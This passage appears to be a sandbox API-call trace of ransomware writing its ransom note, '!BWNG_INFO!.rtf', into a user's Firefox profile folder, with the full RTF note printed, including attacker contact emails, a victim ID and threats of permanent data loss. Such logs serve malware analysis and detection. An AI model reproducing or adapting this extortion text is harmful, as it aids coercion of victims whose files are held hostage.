r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n$½×\x04®\x0fQ\x90úo¯\x06]¾¤\x93_·wQ5\x89ô°\x8c±í2d\x01\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0035.270] WriteFile (in: hFile=0x1a8, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0035.271] CloseHandle (hObject=0x1a8) returned 1 [0035.271] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\!bwng_info!.rtf")) returned 0xffffffff [0035.271] GetLastError () returned 0x2 [0035.271] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\OfflineCache\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\offlinecache\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0035.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 